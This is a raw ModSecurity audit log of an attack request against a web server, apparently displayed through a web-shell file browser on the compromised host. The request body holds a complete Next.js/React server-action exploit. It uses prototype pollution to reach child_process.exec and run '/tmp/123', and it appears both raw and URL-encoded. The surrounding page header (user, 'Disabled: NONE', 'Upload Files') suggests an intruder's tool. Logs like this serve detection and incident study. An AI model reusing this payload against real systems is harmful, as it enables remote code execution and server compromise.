HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: //var/lib/modsecurity/audit/20251213/20251213-0200/20251213-020036-aT0PFLhenDUAAGtsjigAAAAb
--251bff15-A--
[13/Dec/2025:02:00:36 --0500] aT0PFLhenDUAAGtsjigAAAAb 185.16.39.52 34676 127.0.0.41 80
--251bff15-B--
POST / HTTP/1.1
X-Real-IP: 185.16.39.52
Host: 74.206.190.107
Connection: close
Content-Length: 518
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.135 Mobile Safari/537.36
Accept-Encoding: gzip, deflate
Next-Action: x
X-Nextjs-Request-Id: poop1234
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxtherespoopalloverme
X-Nextjs-Html-Request-Id: ilovepoop_itstinksyum

--251bff15-C--
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').exec('/tmp/123 &');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryxtherespoopalloverme
------WebKitFormBoundaryxtherespoopalloverme--
--251bff15-I--
0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c%22status%22%3a%22resolved%5fmodel%22%2c%22reason%22%3a%2d1%2c%22value%22%3a%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c%22%5fresponse%22%3a%7b%22%5fprefix%22%3a%22process%2emainModule%2erequire%28%27child%5fprocess%27%29%2eexec%28%27%2ftmp%2f123+%26%27%29%3b%22%2c%22%5fformData%22%3a%7b%22get%22%3a%22%241%3aconstructor%3aconstructor%22%7d%7d%7d&1=%22%24%400%22
--251bff15-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.2.34
Set-Cookie: PHPSESSID=3mt3ktl8dna7u6fs333cetp1sl; expires=Sun, 14-Dec-2025 07:00:36 GMT; Max-Age=86400; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8

--251bff15-H--
Message: Multipart: Skipping invalid part 2b55c70 (part name missing): (offset 0, length 0)
Apache-Handler: fastcgi-script
Stopwatch: 1765609236526416 3048 (- - -)
Stopwatch2: 1765609236526416 3048; combined=80, p1=65, p2=15, p3=0, p4=0, p5=0, sr=39, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--251bff15-Z--